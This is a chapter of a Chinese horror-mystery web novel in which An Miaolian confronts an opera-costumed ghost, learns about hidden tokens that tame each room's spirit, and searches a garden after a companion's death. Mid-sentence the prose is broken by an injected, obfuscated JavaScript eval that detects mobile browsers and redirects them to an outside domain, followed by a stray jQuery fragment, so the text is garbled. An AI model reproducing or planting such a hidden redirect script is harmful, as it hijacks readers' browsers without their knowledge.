27. 找信物
作品:《皇帝游戏》 黑暗中,她的脸像是突兀地撒了片白面。
簪子上金影重叠的花片流苏撞击在一起,像是一阵风吹过,四处骤然寒气四浮,梁琼姝仍旧站在原地笑着不动。
那是……哪里起了变化?
瞧着面前并无变化,安妙莲下意识转身撤离门旁,与此同时,一双白到骇人的手从门中穿出来,笔直地向前抓去。
似乎是察觉到人已经离开,那晦暗中的颜色扭曲几下,浮出一张昆曲小生脸,标准得没有任何差错,只是那浓眉大眼猛地睁开时,释放出的全是怨毒、狠厉。
他一点点从木门中走出来,四周顿时坠入冰窟。
安妙莲再一看,梁琼姝竟将那幅画挂在了木门处,难怪她一直没见着画。
她先前没有与这宴境中的鬼怪正面交锋过,如今可算是有了这个不幸的机会,狭小的空间几乎无法躲避。
“柳梦梅”倏然向她扑过来,青衣白面红胭脂在幕布般地黑暗中猛地撕出一条裂缝。
安妙莲提起旁边的椅子扬头一挡,椅子刹那间被撞飞,木屑纷飞的同时,她的手腕也以一种极其扭曲的角度弯着,剧烈的疼痛随之而来。
“似这般花花草草由人恋、生生死死随人怨、便凄凄惨惨无人念。”
梁琼姝哼起曲子,周围兵荒马乱,而她自在悠闲。
她的嗓音不过可以拟三、四分戏曲的形,眼中的神采却在黑暗中也熠熠生辉,远胜过舞台光下。
她人生中唯一笑着回忆的,就是小时候父亲请人来家里唱大戏,台上伶人的头面闪烁,顾盼流连的眼神中诉说着恩怨别离、爱上又恨上、孤女出走闯荡江湖——
可是、可是,这些都是不会出现的,永远不会出现在她的人生中的!
她要走上台去,唯一可以触摸到的就是那些彩宝珠翠,那也是家人愿意看到的,大家都好。
都好吗?
“安姑娘,你是一片好心,可你怎么确信——我不愿意留在这阴雨霉天呢?”
用炭灰画上去的鬓角,在梁琼姝巧夺天工的装点下,遮盖住略显钝感的双颊。她巧笑情兮、妙目天生,自作主张丢掉戏词里的遮掩,直直向她的心上“人”看出去。
而她目光所及之处,却更加远,一直延伸到那铜镜中。
铜镜中是她的倒影。
安妙莲强撑着没有被撞飞到地上,用骨折的手提起一样东西。
“你又是怎么知道——我不是有备而来。”
哗啦一声,弯曲的手腕竭力摔开一柄笔直的折扇。
老旧的木折扇在梁琼姝的目光落到它身上的瞬间,散发出了异常的光彩,“柳梦梅”的动作也瞬间停滞,惨白的脸卡顿在安妙莲的面前。
梁琼姝的眼中情绪变得难辨,惊讶、恐惧,以及那么一丝丝微不可见的……后悔。
“安姑娘……你在哪里找到的?”
“你以为这个东西是在花园对吗?毕竟戏曲里唱的都是花园。”安妙莲反问道:“所以你才一直在花园寻找这柄折扇,直到找不到选择化作鬼怪。”
“已经是第四日了。”梁琼姝叹息道:“不仅没有进展,而且……我无法保证明天早晨我能活下来。”
“所以你午后去祠堂是为了在牌位上写下名字。”安妙莲推断道:“写下名字其实是意味着会被宴境同化。”
“的确如此。”梁琼姝苦笑道。
“可是你是怎么知道写名字会被同化?而且这柄折扇应该是能压制住屋内的鬼怪,你又是怎么知道这东西的存在的?”安妙莲问出心中最想问的那个问题。
她的有备而来是个幌子,其实她只是看到戏装的“柳梦梅”突然就想到了这柄折扇。
方才她一直在套话,现在终于套到了关键点。
“是他告诉你的吗?”安妙莲的目光转向已经不动的“柳梦梅”。
梁琼姝点了点头:“每一间屋子的鬼怪都对应着一个藏在宅院中的信物,如果无法找到那个信物,最多活不过第六天。”
安妙莲的心中浮现那个纺织少女的样子,第一天的她安静得几乎无法让人察觉,第二天尖叫,第三天开始破坏,每一天的状态,都比前一天更加濒临崩溃的边缘。
如果今天她没有逃出来,几乎无法避免死亡。
“安姑娘,一路走好吧。”梁琼姝拉着她的手,一边将她往门外推:“原谅我一开始想把你也留在这里,现在我想明白了,你走那条路,会比我顺畅得多。”
“只是你千万要切记,不要一开始就走错了。”
她低声道:“我有时候已经无法控制自己的行为,你不要再进这屋里来,也许等你们走后,这些奇怪的规则会消失……也许不会,但是无所谓了,困在屋内,我也困了十多年了。”
来不及思考为什么她说“不要一开始就走错了”,安妙莲已经被推出门。
不动声色中,一柄折扇被塞进梁琼姝的手中。
安妙莲微张唇:如果这东西能控制屋内的鬼怪,我想你更需要它。
在被彻底推出门的那一刻,天光大亮。
*
再次见到梁琼姝,是在早餐时。
扩大的庭院中央摆着一破草席,梁琼姝的面上盖了块白绫,而那白绫更多的地方束缚在她纤细的脖颈上,薄薄的布料下露出一片青紫勒痕。
无形人有气无力地骂人,字句仍旧尖酸刻薄:
“你们是年少轻狂,叫那戏词蒙了眼、猪油蒙了心!不过看了几场戏,就知道什么爱恨了!所幸今日一根白绫,也算一了百了!不然活着也是丢人!”
几个人在饭厅里用餐,多日习惯下已经自动将无形人的话当耳旁风忽略。
安妙莲抽空给他们写了封信,简单讲了一下关于信物的事,虽然她感觉这封信只有白叠绣需要。
姜匆算先前行色匆匆地在屋内乱走,多半是早已发现了这个秘密。而俞霄,按理来说被屋内鬼怪同化就无法走出那个屋子,不知为何,他偏是个例外。
来不及思考俞霄的变异,安妙莲觉得现在最要紧的是找到能对抗那纺织少女的信物。
托昨天被拉进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218690|179498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
梁琼姝屋内的福,她在晚上还能躲进南屋两次,但这同时也意味着,她必须在短暂的三次休息时间找到那件信物。
白叠绣与姜匆算写信前来感谢,顺便说了一下自己那边的情况。
白叠绣的屋内情况很不好,她那几天几乎夜夜都有人在门外砸门,咒骂她是妖怪,与此同时,屋内总会有个白发老婆子在四处走动。
那老婆子神神叨叨地缩在角落里,一会儿说自己是大户人家的小姐,一会又哭着说放她出去。
白叠绣觉得既然老婆子想出去,那她就放她出去吧,于是就打开了门,结果老婆子在门打开后,变得愈发疯狂。
白叠绣招架不住,昨天已经是她第三次进南屋躲避,未来凶多吉少。
姜匆算的来信简单,除却感谢之言外,只有一句话——
“发现的那条预语有些奇怪,如果安姑娘有其他方法,不必坚信这条预语。”
安妙莲闻言心中一动,难道先前发现的那条预语是错误的?梁琼姝所指的走错的路就是错误的预语?
那难怪她觉得没希望选择与鬼怪同化了,毕竟时间快过一半了,连预语都是假的。
休息时间一到,安妙莲立马匆匆赶向花园,除了辐射祠堂和禁忌南屋,这里发现信物的几率最大。
花园内姹紫嫣红,只是安妙莲无心观赏,思考了一天,她只想到两种信物藏匿的逻辑。
第一是那不哭不笑佛,别的信物也可能会出现在其他地方的不哭不笑佛身上。不过安妙莲希望不是如此,毕竟她还在南屋看到过不哭不笑佛的画像。
第二就是光,佛堂的信物是在安妙莲剪下遮挡帘,让光照到不哭不笑佛身上,那信物才出现的,那么其他信物的出现,也可能会需要光的力量。
你大爷的。想到这里的安妙莲觉得离谱,这信物难道是奥特曼在宅院里留下的吗?
而到了花园,更加深的绝望才在此刻出现,妖异的花朵几乎将地面占满,而那一大块地上,全部都是光线无法照到的阴影。
她用力拔出一大片,花朵的根深入地底,几乎难以撼动。
倏然,一根尖锐的指甲横扫过来,几乎像一把锋利的剪子,刹那间将花枝斩断,一大片阴暗潮湿的地方被光亮侵入。
安妙莲抬起头,白叠绣收起指甲,显得有些不知所措。
她胡乱摆着手势,安妙莲看懂一点,似乎她在解释自己是刚刚才过来,想来帮忙。
安妙莲朝她竖起大拇指,谁说这美甲不好,这美甲可太棒了!
白叠绣点点头,也朝她竖起个大拇指,大概这姑娘以为自己又发现了什么光明王朝的独特打招呼方式。
“咔擦。”
“咔擦。”
有了白叠绣的加入,扫空一大片花简直易如反掌。
只是……似乎没什么用,期待中的动静迟迟没有出现。
开的绚丽的花颓唐地躺在泥土上,流露出一股子酒香。
等等,安妙莲倏然回头看向那些汁液。
为什么会是酒香?